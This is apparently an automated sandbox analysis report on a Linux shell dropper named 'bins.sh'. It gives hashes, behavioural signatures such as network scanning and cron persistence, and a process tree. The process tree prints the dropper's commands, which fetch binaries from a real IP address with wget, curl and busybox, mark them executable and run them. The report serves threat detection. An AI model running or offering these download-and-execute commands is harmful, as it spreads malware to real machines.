Analysis
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max time kernel
150s -
max time network
155s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240611-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
26/11/2024, 18:06
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240611-en
General
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Target
bins.sh
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Size
10KB
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MD5
287fd8ff31d734e6b93c9a8bbeef08ae
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SHA1
019d60c4998c554bbb85d816dfd93c0079c4fe03
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SHA256
4404513cb0bbcbc2922b20dd2655132b5f3a5f0f11141ed6e2291fe622c39df8
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SHA512
14cfd73b971d8acf7e9e5263ac01f6446a13f9d71eec3fb0c595dc1cee10531d19c638ce76e14f8788e2bf9f329ded26959f85d27d67393f74d1ec461c7f88a2
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SSDEEP
96:DW6M1f1E8zbW9EEafjhzsjEb7bwqg3/SOch+zWx41aGjybnuP0qg3/SOqh2EEafl:668zbWShzYEXttMzDxylzbg
Malware Config
Signatures
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Contacts a large (1780) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 3 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 753 chmod 730 chmod 737 chmod -
Executes dropped EXE 3 IoCs
ioc pid Process /tmp/8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb 731 8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb /tmp/GGcp0PJ0qZvRjEpnxP1NJw0ypACG78sETY 738 GGcp0PJ0qZvRjEpnxP1NJw0ypACG78sETY /tmp/eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ 754 eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ -
Renames itself 1 IoCs
pid Process 755 eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ -
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.swuenC crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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description ioc Process File opened for reading /proc/816/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/939/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/981/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/1127/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/71/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/808/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/807/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/850/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/944/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/967/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/985/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/952/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/830/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/848/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/1019/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/1056/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/1073/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/768/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/912/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/1086/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/1106/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/9/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/1025/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/821/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/960/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/3/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/811/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/972/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/1069/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/1077/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/1133/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/492/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/822/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/812/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/917/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/760/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/936/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/1126/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/1134/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/968/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/1079/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/783/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/1051/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/784/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/794/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/813/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/1014/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/1072/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/1100/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/983/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/990/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/1006/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/1032/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/803/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/836/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/70/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/775/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/1089/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/1139/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/23/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/957/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/849/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/1015/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ File opened for reading /proc/1043/cmdline eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ -
Writes file to tmp directory 9 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb curl File opened for modification /tmp/8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb busybox File opened for modification /tmp/GGcp0PJ0qZvRjEpnxP1NJw0ypACG78sETY curl File opened for modification /tmp/eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ curl File opened for modification /tmp/8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb wget File opened for modification /tmp/GGcp0PJ0qZvRjEpnxP1NJw0ypACG78sETY wget File opened for modification /tmp/GGcp0PJ0qZvRjEpnxP1NJw0ypACG78sETY busybox File opened for modification /tmp/eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ wget File opened for modification /tmp/eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ busybox
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:698
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/bin/rm/bin/rm bins.sh2⤵PID:706
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/usr/bin/wgetwget http://216.126.231.240/bins/8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb2⤵
- Writes file to tmp directory
PID:708
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/usr/bin/curlcurl -O http://216.126.231.240/bins/8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb2⤵
- Writes file to tmp directory
PID:721
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb2⤵
- Writes file to tmp directory
PID:729
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/bin/chmodchmod 777 8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb2⤵
- File and Directory Permissions Modification
PID:730
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/tmp/8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb./8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb2⤵
- Executes dropped EXE
PID:731
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/bin/rmrm 8QkaWOmI92wUgRGoVPys4qDitpTUQbI2zb2⤵PID:733
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/usr/bin/wgetwget http://216.126.231.240/bins/GGcp0PJ0qZvRjEpnxP1NJw0ypACG78sETY2⤵
- Writes file to tmp directory
PID:734
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/usr/bin/curlcurl -O http://216.126.231.240/bins/GGcp0PJ0qZvRjEpnxP1NJw0ypACG78sETY2⤵
- Writes file to tmp directory
PID:735
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/GGcp0PJ0qZvRjEpnxP1NJw0ypACG78sETY2⤵
- Writes file to tmp directory
PID:736
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/bin/chmodchmod 777 GGcp0PJ0qZvRjEpnxP1NJw0ypACG78sETY2⤵
- File and Directory Permissions Modification
PID:737
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/tmp/GGcp0PJ0qZvRjEpnxP1NJw0ypACG78sETY./GGcp0PJ0qZvRjEpnxP1NJw0ypACG78sETY2⤵
- Executes dropped EXE
PID:738
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/bin/rmrm GGcp0PJ0qZvRjEpnxP1NJw0ypACG78sETY2⤵PID:740
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/usr/bin/wgetwget http://216.126.231.240/bins/eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ2⤵
- Writes file to tmp directory
PID:741
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/usr/bin/curlcurl -O http://216.126.231.240/bins/eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ2⤵
- Writes file to tmp directory
PID:742
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ2⤵
- Writes file to tmp directory
PID:748
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/bin/chmodchmod 777 eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ2⤵
- File and Directory Permissions Modification
PID:753
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/tmp/eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ./eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:754 -
/bin/shsh -c "crontab -l"3⤵PID:756
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/usr/bin/crontabcrontab -l4⤵PID:757
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/bin/shsh -c "crontab -"3⤵PID:759
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:761
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/bin/rmrm eKwD5dpTd7Y0aXghuCOXggGp5hirLG3OwQ2⤵PID:763
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/usr/bin/wgetwget http://216.126.231.240/bins/wzKo9O5QOEysb0D8DnrYo4sj61fpj3MrLo2⤵PID:768
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
177KB
MD5786d75a158fe731feca3880f436082c0
SHA179ea2734e43d00cdeabed5586b2c1994d02aef3e
SHA2565fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
SHA5127984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f
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Filesize
141KB
MD53ca8decdb1e52c423c521bfff02ac200
SHA18621ecd6807109b8541912ad9e134f6fb49bfd48
SHA256dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
SHA512b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
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Filesize
151KB
MD53c90d5820bddcf7c5d1bd21dfa49d958
SHA15ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA256bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
SHA51254a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
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Filesize
210B
MD5a0a824b969a1aadc5ed8254dd2a527cc
SHA185cd15ad65b396dc3d0953fc565508b6cab9b434
SHA256d8d466ab6654cb8db3529aa060fff98fb455c06e00c9212729fa8ce90a5df1cd
SHA5127ef75b2621413337b804cacee13a97eae25ae1a08f218857b84e6f579650a63ab6d1d74184eca54e9f4323366fb533e678ffaece3de5892476a6a1f894a1f178